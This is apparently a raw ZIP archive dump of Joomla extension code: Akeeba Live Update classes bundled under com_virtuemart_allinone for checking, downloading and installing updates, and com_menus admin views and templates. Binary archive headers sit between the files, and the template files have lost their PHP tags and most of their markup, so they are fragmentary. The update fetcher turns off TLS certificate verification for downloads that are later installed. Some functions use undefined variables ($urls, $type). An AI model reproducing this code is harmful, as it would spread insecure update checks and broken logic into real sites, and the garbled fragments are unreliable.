team, are you listening? Some hosts PRETEND to // support cURL or URL fopen() wrappers but using them throws an immediate WSOD. $this->storage->set('stuck', 1); $this->storage->save(); $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $rawData = LiveUpdateDownloadHelper::downloadAndReturn($url); // Now that we have some data returned, let's unmark the process as being stuck ;) $this->storage->set('stuck', 0); $this->storage->save(); // If we didn't get anything, assume Live Update is not supported (communication error) if(empty($rawData) || ($rawData == false)) return (object)$ret; // TODO Detect the content type of the returned update stream. For now, I will pretend it's an INI file. $data = $this->parseINI($rawData); $ret['supported'] = true; return (object)array_merge($ret, $data); } /** * Fetches update information from the server using cURL * @return string The raw server data */ private function fetchCURL() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; $process = curl_init($url); $config = new LiveUpdateConfig(); $config->applyCACert($process); curl_setopt($process, CURLOPT_HEADER, 0); // Pretend we are Firefox, so that webservers play nice with us curl_setopt($process, CURLOPT_USERAGENT, 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.14) Gecko/20110105 Firefox/3.6.14'); curl_setopt($process, CURLOPT_ENCODING, 'gzip'); curl_setopt($process, CURLOPT_TIMEOUT, 10); curl_setopt($process, CURLOPT_RETURNTRANSFER, 1); curl_setopt($process, CURLOPT_SSL_VERIFYPEER, false); // The @ sign allows the next line to fail if open_basedir is set or if safe mode is enabled @curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1); @curl_setopt($process, CURLOPT_MAXREDIRS, 20); $inidata = curl_exec($process); curl_close($process); return $inidata; } /** * Fetches update information from the server using file_get_contents, which internally * uses URL fopen() wrappers. * @return string The raw server data */ private function fetchFOPEN() { $config = LiveUpdateConfig::getInstance(); $extInfo = $config->getExtensionInformation(); $url = $extInfo['updateurl']; return @file_get_contents($urls); } /** * Parses the raw INI data into an array of update information * @param string $rawData The raw INI data * @return array The parsed data */ private function parseINI($rawData) { $ret = array( 'version' => '', 'date' => '', 'stability' => '', 'downloadURL' => '' ); // Get the magic string $magicPos = strpos($rawData, '; Live Update provision file'); if($magicPos === false) { // That's not an INI file :( return $ret; } if($magicPos !== 0) { $rawData = substr($rawData, $magicPos); } require_once dirname(__FILE__).'/inihelper.php'; $iniData = LiveUpdateINIHelper::parse_ini_file($rawData, false, true); $ret['version'] = $iniData['version']; $ret['date'] = $iniData['date']; $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $glue = strpos($iniData['link'],'?') === false ? '?' : '&'; $ret['downloadURL'] = $iniData['link'] . (empty($auth) ? '' : $glue.$auth); if(array_key_exists('stability', $iniData)) { $stability = $iniData['stability']; } else { // Stability not defined; guesswork mode enabled $version = $ret['version']; if( preg_match('#^[0-9\.]*a[0-9\.]*#', $version) == 1 ) { $stability = 'alpha'; } elseif( preg_match('#^[0-9\.]*b[0-9\.]*#', $version) == 1 ) { $stability = 'beta'; } elseif( preg_match('#^[0-9\.]*rc[0-9\.]*#', $version) == 1 ) { $stability = 'rc'; } elseif( preg_match('#^[0-9\.]*$#', $version) == 1 ) { $stability = 'stable'; } else { $stability = 'svn'; } } $ret['stability'] = $stability; return $ret; } }PK@y>\Ը!!4components/com_virtuemart_allinone/classes/model.phpnuW+A */ defined('_JEXEC') or die(); jimport('joomla.application.component.model'); /** * The Live Update MVC model */ class LiveUpdateModel extends JModel { public function download() { // Get the path to Joomla!'s temporary directory $jreg =JFactory::getConfig(); $tmpdir = $jreg->getValue('config.tmp_path'); jimport('joomla.filesystem.folder'); // Make sure the user doesn't use the system-wide tmp directory. You know, the one that's // being erased periodically and will cause a real mess while installing extensions (Grrr!) if(realpath($tmpdir) == '/tmp') { // Someone inform the user that what he's doing is insecure and stupid, please. In the // meantime, I will fix what is broken. $tmpdir = JPATH_SITE.DS.'tmp'; } // Make sure that folder exists (users do stupid things too often; you'd be surprised) elseif(!JFolder::exists($tmpdir)) { // Darn it, user! WTF where you thinking? OK, let's use a directory I know it's there... $tmpdir = JPATH_SITE.DS.'tmp'; } // Oki. Let's get the URL of the package $updateInfo = LiveUpdate::getUpdateInformation(); $config = LiveUpdateConfig::getInstance(); $auth = $config->getAuthorization(); $url = $updateInfo->downloadURL; // Sniff the package type. If sniffing is impossible, I'll assume a ZIP package $basename = basename($url); if(strstr($basename,'?')) { $basename = substr($basename, strstr($basename,'?')+1); } if(substr($basename,-4) == '.zip') { $type = 'zip'; } elseif(substr($basename,-4) == '.tar') { $type = 'tar'; } elseif(substr($basename,-4) == '.tgz') { $type = 'tar.gz'; } elseif(substr($basename,-7) == '.tar.gz') { $type = 'tar.gz'; } else { $type = 'zip'; } // Cache the path to the package file and the temp installation directory in the session $target = $tmpdir.DS.$updateInfo->extInfo->name.'.update.'.$type; $tempdir = $tmpdir.DS.$updateInfo->extInfo->name.'_update'; $session = JFactory::getSession(); $session->set('target', $target, 'liveupdate'); $session->set('tempdir', $tempdir, 'liveupdate'); // Let's download! require_once dirname(__FILE__).'/download.php'; return LiveUpdateDownloadHelper::download($url, $target); } public function extract() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.filesystem.archive'); return JArchive::extract( $target, $tempdir); } public function install() { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); $installer =& JInstaller::getInstance(); $packageType = JInstallerHelper::detectType($tempdir); if(!$packageType) { $msg = JText::_('LIVEUPDATE_INVALID_PACKAGE_TYPE'); $result = false; } elseif (!$installer->install($tempdir)) { // There was an error installing the package $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Error')); $result = false; } else { // Package installed sucessfully $msg = JText::sprintf('LIVEUPDATE_INSTALLEXT', JText::_($packageType), JText::_('LIVEUPDATE_Success')); $result = true; } $app = JFactory::getApplication(); $app->enqueueMessage($msg); $this->setState('result', $result); $this->setState('packageType', $packageType); if($packageType) { $this->setState('name', $installer->get('name')); $this->setState('message', $installer->message); if(version_compare(JVERSION,'1.6.0','ge')) { $this->setState('extmessage', $installer->get('extension_message')); } else { $this->setState('extmessage', $installer->get('extension.message')); } } return $result; } public function cleanup() { $session = JFactory::getSession(); $target = $session->get('target', '', 'liveupdate'); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.helper'); JInstallerHelper::cleanupInstall($target, $tempdir); $session->clear('target','liveupdate'); $session->clear('tempdir','liveupdate'); } public function getSRPURL($return = '') { $session = JFactory::getSession(); $tempdir = $session->get('tempdir', '', 'liveupdate'); jimport('joomla.installer.installer'); jimport('joomla.installer.helper'); jimport('joomla.filesystem.file'); $instModelFile = JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; if(!JFile::exists($instModelFile)) return false; require_once JPATH_ADMINISTRATOR.'/components/com_akeeba/models/installer.php'; $model = JModel::getInstance('Installer', 'AkeebaModel'); $packageType = JInstallerHelper::detectType($tempdir); $name = $model->getExtensionName($tempdir); $url = 'index.php?option=com_akeeba&view=backup&tag=restorepoint&type='.$packageType.'&name='.urlencode($name['name']); switch($type) { case 'module': case 'template': $url .= '&group='.$name['client']; break; case 'plugin': $url .= '&group='.$name['group']; break; } if(!empty($return)) $url .= '&returnurl='.urlencode($return); return $url; } }PK@y>\://5components/com_virtuemart_allinone/classes/index.htmlnuW+A PK@y>\)9components/com_virtuemart_allinone/classes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.;components/com_virtuemart_allinone/classes/tmpl/install.phpnuW+A */ defined( '_JEXEC' ) or die(); $state = &$this->get('State'); $message1 = $state->get('message'); $message2 = $state->get('extmessage'); ?>

      Powered by Akeeba Live Update

      PK@y>\://:components/com_virtuemart_allinone/classes/tmpl/index.htmlnuW+A PK@y>\# <components/com_virtuemart_allinone/classes/tmpl/overview.phpnuW+A */ defined('_JEXEC') or die(); ?>
      updateInfo->supported): ?>

      escape($this->updateInfo->extInfo->updateurl) ?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->stuck):?>

      escape($this->updateInfo->extInfo->title)); ?>

      updateInfo->hasUpdates ? 'hasupdates' : 'noupdates'; $auth = $this->config->getAuthorization(); $auth = empty($auth) ? '' : '?'.$auth; ?> needsAuth): ?>

      updateInfo->extInfo->version ?>
      updateInfo->version ?>
      updateInfo->date ?>

      updateInfo->hasUpdates):?> needsAuth ? 'disabled="disabled"' : ''?>

      Powered by Akeeba Live Update

      PK@y>\5FYY?components/com_virtuemart_allinone/classes/tmpl/startupdate.phpnuW+A */ defined('_JEXEC') or die(); ?>

      Powered by Akeeba Live Update

      PK@y>\ g,,7components/com_virtuemart_allinone/classes/xmlslurp.phpnuW+A */ defined('_JEXEC') or die(); class LiveUpdateXMLSlurp extends JObject { private $_info = array(); public function getInfo($extensionName, $xmlName) { if(!array_key_exists($extensionName, $this->_info)) { $this->_info[$extensionName] = $this->fetchInfo($extensionName, $xmlName); } return $this->_info[$extensionName]; } /** * Gets the version information of an extension by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar, mod_foobar, plg_foobar or tpl_foobar. * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function fetchInfo($extensionName, $xmlName) { $type = strtolower(substr($extensionName,0,3)); switch($type) { case 'com': return $this->getComponentData($extensionName, $xmlName); break; case 'mod': return $this->getModuleData($extensionName, $xmlName); break; case 'plg': return $this->getPluginData($extensionName, $xmlName); break; case 'tpl': return $this->getTemplateData($extensionName, $xmlName); break; case 'pkg': return $this->getPackageData($extensionName, $xmlName); break; case 'lib': return $this->getPackageData($extensionName, $xmlName); break; default: if(strtolower(substr($extensionName, 0, 4)) == 'file') { return $this->getPackageData($extensionName, $xmlName); } else { return array('version'=>'', 'date'=>''); } } } /** * Gets the version information of a component by reading its XML file * @param string $extensionName The name of the extension, e.g. com_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getComponentData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $path = JPATH_ADMINISTRATOR.'/components/'.$extensionName; $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.file'); if(JFile::exists("$path/$xmlName")) { $filename = "$path/$xmlName"; } elseif(JFile::exists("$path/$extensionName.xml")) { $filename = "$path/$extensionName.xml"; } elseif(JFile::exists("$path/$altExtensionName.xml")) { $filename = "$path/$altExtensionName.xml"; } elseif(JFile::exists("$path/manifest.xml")) { $filename = "$path/manifest.xml"; } else { $filename = $this->searchForManifest($path); if($filename === false) $filename = null; } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ( ($xml->document->name() != 'install') && ($xml->document->name() != 'extension') ) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a module by reading its XML file * @param string $extensionName The name of the extension, e.g. mod_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getModuleData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_SITE.'/modules/'.$extensionName; if(!JFolder::exists($path)) { $path = JPATH_ADMINISTRATOR.'/modules/'.$extensionName; } if(!JFolder::exists($path)) { // Joomla! 1.5 // 1. Check front-end $path = JPATH_ADMINISTRATOR.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } // 2. Check front-end if(!JFile::exists($filename)) { $path = JPATH_SITE.'/modules'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } } else { // Joomla! 1.6 $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a plugin by reading its XML file * @param string $extensionName The name of the plugin, e.g. plg_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml */ private function getPluginData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $base = JPATH_PLUGINS; // Get a list of directories $stack = JFolder::folders($base,'.',true,true); foreach($stack as $path) { $filename = "$path/$xmlName"; if(JFile::exists($filename)) break; $filename = "$path/$extensionName.xml"; if(JFile::exists($filename)) break; $filename = "$path/$altExtensionName.xml"; if(JFile::exists($filename)) break; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Gets the version information of a template by reading its XML file * @param string $extensionName The name of the template, e.g. tpl_foobar * @param string $xmlName The name of the XML manifest filename. If empty uses $extensionName.xml or templateDetails.xml */ private function getTemplateData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); // First look for administrator templates $path = JPATH_THEMES.'/'.$altExtensionName; if(!JFolder::exists($path)) { // Then look for front-end templates $path = JPATH_SITE.'/templates/'.$altExtensionName; if(!JFolder::exists($path)) return array('version' => '', 'date' => ''); } $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/templateDetails.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'install') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * This method parses the manifest information of package, library and file * extensions. All of those extensions do not store their manifests in the * extension's directory, but in administrator/manifests. Kudos to @mbabker * for sharing this method! * * @param string $extensionName * @param string $xmlName * @return type */ private function getPackageData($extensionName, $xmlName) { $extensionName = strtolower($extensionName); $altExtensionName = substr($extensionName,4); jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $path = JPATH_ADMINISTRATOR.'/manifests/packages'; $filename = "$path/$xmlName"; if(!JFile::exists($filename)) { $filename = "$path/$extensionName.xml"; } if(!JFile::exists($filename)) { $filename = "$path/$altExtensionName.xml"; } if(!JFile::exists($filename)) { return array('version' => '', 'date' => ''); } if(empty($filename)) { return array('version' => '', 'date' => '', 'xmlfile' => ''); } $xml = JFactory::getXMLParser('Simple'); if (!$xml->loadFile($filename)) { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } if ($xml->document->name() != 'extension') { unset($xml); return array('version' => '', 'date' => '', 'xmlfile' => ''); } $data = array(); $element = & $xml->document->version[0]; $data['version'] = $element ? $element->data() : ''; $element = & $xml->document->creationDate[0]; $data['date'] = $element ? $element->data() : ''; $data['xmlfile'] = $filename; return $data; } /** * Scans a directory for XML manifest files. The first XML file to be a * manifest wins. * * @var $path string The path to look into * * @return string|bool The full path to a manifest file or false if not found */ private function searchForManifest($path) { jimport('joomla.filesystem.folder'); $files = JFolder::files($path, '\.xml$', false, true); if(!empty($files)) foreach($files as $filename) { $xml = JFactory::getXMLParser('simple'); $result = $xml->loadFile($filename); if(!$result) continue; if(($xml->document->name() != 'install') && ($xml->document->name() != 'extension') && ($xml->document->name() != 'mosinstall')) continue; unset($xml); return $filename; } return false; } }PK@y>\)4components/com_virtuemart_allinone/classes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\3hh#components/com_menus/controller.phpnuW+AcheckEditId('com_menus.edit.menu', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false)); return false; } elseif ($view == 'item' && $layout == 'edit' && !$this->checkEditId('com_menus.edit.item', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_menus&view=items', false)); return false; } parent::display(); return $this; } } PK@y>\- -components/com_menus/views/item/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->modules = $this->get('Modules'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $user->get('id')); $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_($isNew ? 'COM_MENUS_VIEW_NEW_ITEM_TITLE' : 'COM_MENUS_VIEW_EDIT_ITEM_TITLE'), 'menu-add'); // If a new item, can save the item. Allow users with edit permissions to apply changes to prevent returning to grid. if ($isNew && $canDo->get('core.create')) { if ($canDo->get('core.edit')) { JToolBarHelper::apply('item.apply'); } JToolBarHelper::save('item.save'); } // If not checked out, can save the item. if (!$isNew && !$checkedOut && $canDo->get('core.edit')) { JToolBarHelper::apply('item.apply'); JToolBarHelper::save('item.save'); } // If the user can create new items, allow them to see Save & New if ($canDo->get('core.create')) { JToolBarHelper::save2new('item.save2new'); } // If an existing item, can save to a copy only if we have create rights. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('item.save2copy'); } if ($isNew) { JToolBarHelper::cancel('item.cancel'); } else { JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); // Get the help information for the menu item. $lang = JFactory::getLanguage(); $help = $this->get('Help'); if ($lang->hasKey($help->url)) { $debug = $lang->setDebug(false); $url = JText::_($help->url); $lang->setDebug($debug); } else { $url = $help->url; } JToolBarHelper::help($help->key, $help->local, $url); } } PK@y>\dk;-components/com_menus/views/item/tmpl/edit.phpnuW+A
      • form->getLabel('type'); ?> form->getInput('type'); ?>
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • item->type =='url'): ?> form->setFieldAttribute('link', 'readonly', 'false');?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • item->type == 'alias'): ?>
      • form->getLabel('aliastip'); ?>
      • item->type !='url'): ?>
      • form->getLabel('alias'); ?> form->getInput('alias'); ?>
      • form->getLabel('note'); ?> form->getInput('note'); ?>
      • item->type !=='url'): ?>
      • form->getLabel('link'); ?> form->getInput('link'); ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('menutype'); ?> form->getInput('menutype'); ?>
      • form->getLabel('parent_id'); ?> form->getInput('parent_id'); ?>
      • form->getLabel('menuordering'); ?> form->getInput('menuordering'); ?>
      • form->getLabel('browserNav'); ?> form->getInput('browserNav'); ?>
      • item->type == 'component') : ?>
      • form->getLabel('home'); ?> form->getInput('home'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('template_style_id'); ?> form->getInput('template_style_id'); ?>
      • form->getLabel('id'); ?> form->getInput('id'); ?>
      item->id); ?> loadTemplate('options'); ?>
      modules)) : ?>
      loadTemplate('modules'); ?>
      form->getInput('component_id'); ?>
      PK@y>\ Yt 5components/com_menus/views/item/tmpl/edit_modules.phpnuW+A modules as $i => &$module) : ?> menuid)) : ?> except || $module->menuid < 0) : ?>
      id.'&tmpl=component&view=module&layout=modal' ; ?> escape($module->title), $this->escape($module->access_title), $this->escape($module->position)); ?> menuid)) : ?> except):?> menuid > 0) : ?> menuid < 0) : ?>
      PK@y>\).components/com_menus/views/item/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_menus/views/item/tmpl/index.htmlnuW+A PK@y>\ /g g 5components/com_menus/views/item/tmpl/edit_options.phpnuW+A form->getFieldsets('request'); if (!empty($fieldSets)) { $fieldSet = array_shift($fieldSets); $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$fieldSet->name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), 'request-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset('request') as $field) : ?> hidden) : ?>
      • label; ?> input; ?>
      • input; ?>
      form->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      form->getFieldsets('associations'); foreach ($fieldSets as $name => $fieldSet) : $label = !empty($fieldSet->label) ? $fieldSet->label : 'COM_MENUS_'.$name.'_FIELDSET_LABEL'; echo JHtml::_('sliders.panel', JText::_($label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\V*components/com_menus/views/item/index.htmlnuW+A PK@y>\))components/com_menus/views/item/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)$components/com_menus/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V0components/com_menus/views/menus/tmpl/index.htmlnuW+A PK@y>\1components/com_menus/views/menus/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $modMenuId = (int) $this->get('ModMenuId'); ?>
      items as $i => $item) : $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canChange = $user->authorise('core.edit.state', 'com_menus'); ?>
      pagination->getListFooter(); ?>
      id); ?> escape($item->title); ?>

      ( id).' title='.$this->escape($item->description).'">'. $this->escape($item->menutype).''; ?>) escape($item->menutype)?>)

      count_published; ?> count_unpublished; ?> count_trashed; ?> modules[$item->menutype])) : ?> id; ?>
      PK@y>\)/components/com_menus/views/menus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_menus/views/menus/index.htmlnuW+A PK@y>\)*components/com_menus/views/menus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\20.components/com_menus/views/menus/view.html.phpnuW+Aitems = $this->get('Items'); $this->modules = $this->get('Modules'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/menus.php'; $canDo = MenusHelper::getActions($this->state->get('filter.parent_id')); JToolBarHelper::title(JText::_('COM_MENUS_VIEW_MENUS_TITLE'), 'menumgr.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('menu.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('menu.edit'); } if ($canDo->get('core.delete')) { JToolBarHelper::divider(); JToolBarHelper::deleteList('', 'menus.delete'); } JToolBarHelper::custom('menus.rebuild', 'refresh.png', 'refresh_f2.png', 'JTOOLBAR_REBUILD', false); if ($canDo->get('core.admin')) { JToolBarHelper::divider(); JToolBarHelper::preferences('com_menus'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_MENUS_MENU_MANAGER'); } } PK@y>\V+components/com_menus/views/items/index.htmlnuW+A PK@y>\7components/com_menus/views/items/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PK@y>\V0components/com_menus/views/items/tmpl/index.htmlnuW+A PK@y>\i;))1components/com_menus/views/items/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $ordering = ($listOrder == 'a.lft'); $canOrder = $user->authorise('core.edit.state', 'com_menus'); $saveOrder = ($listOrder == 'a.lft' && $listDirn == 'asc'); ?>
      menu_associations) ? $app->menu_associations : 0; if ($assoc): ?> items as $i => $item) : $orderkey = array_search($item->id, $this->ordering[$item->parent_id]); $canCreate = $user->authorise('core.create', 'com_menus'); $canEdit = $user->authorise('core.edit', 'com_menus'); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out==$user->get('id')|| $item->checked_out==0; $canChange = $user->authorise('core.edit.state', 'com_menus') && $canCheckin; ?> menu_associations) ? $app->menu_associations : 0; if ($assoc): ?>
      items, 'filesave.png', 'items.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> |—', $item->level-1) ?> checked_out) : ?> editor, $item->checked_out_time, 'items.', $canCheckin); ?> escape($item->title); ?> escape($item->title); ?>

      |—', $item->level-1) ?> type !='url') : ?> note)) : ?> escape($item->alias));?> escape($item->alias), $this->escape($item->note));?> type =='url' && $item->note) : ?> escape($item->note));?>

      published, $i, $canChange, 'cb'); ?> pagination->orderUpIcon($i, isset($this->ordering[$item->parent_id][$orderkey - 1]), 'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, isset($this->ordering[$item->parent_id][$orderkey + 1]), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> escape($item->access_level); ?> escape($item->item_type); ?> type == 'component') : ?> language=='*' || $item->home=='0'):?> home, $i, 'items.', ($item->language != '*' || !$item->home) && $canChange);?> image.'.gif', $item->language_title, array('title'=>JText::sprintf('COM_MENUS_GRID_UNSET_LANGUAGE', $item->language_title)), true);?> image.'.gif', $item->language_title, array('title'=>$item->language_title), true);?> association):?> id);?> language==''):?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_menus') && $user->authorize('core.edit', 'com_menus') && $user->authorize('core.edit.state', 'com_menus')) : ?> loadTemplate('batch'); ?>
      PK@y>\)/components/com_menus/views/items/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)*components/com_menus/views/items/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ҴǦ.components/com_menus/views/items/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->ordering = array(); // Preprocess the list of items to find ordering divisions. foreach ($this->items as $item) { $this->ordering[$item->parent_id][] = $item->id; // item type text switch ($item->type) { case 'url': $value = JText::_('COM_MENUS_TYPE_EXTERNAL_URL'); break; case 'alias': $value = JText::_('COM_MENUS_TYPE_ALIAS'); break; case 'separator': $value = JText::_('COM_MENUS_TYPE_SEPARATOR'); break; case 'component': default: // load language $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load($item->componentname . '.sys', JPATH_ADMINISTRATOR . '/components/' . $item->componentname, null, false, true); if (!empty($item->componentname)) { $value = JText::_($item->componentname); $vars = null; parse_str($item->link, $vars); if (isset($vars['view'])) { // Attempt to load the view xml file. $file = JPATH_SITE.'/components/'.$item->componentname.'/views/'.$vars['view'].'/metadata.xml'; if (JFile::exists($file) && $xml = simplexml_load_file($file)) { // Look for the first view node off of the root node. if ($view = $xml->xpath('view[1]')) { if (!empty($view[0]['title'])) { $vars['layout'] = isset($vars['layout']) ? $vars['layout'] : 'default'; // Attempt to load the layout xml file. // If Alternative Menu Item, get template folder for layout file if (strpos($vars['layout'], ':') > 0) { // Use template folder for layout file $temp = explode(':', $vars['layout']); $file = 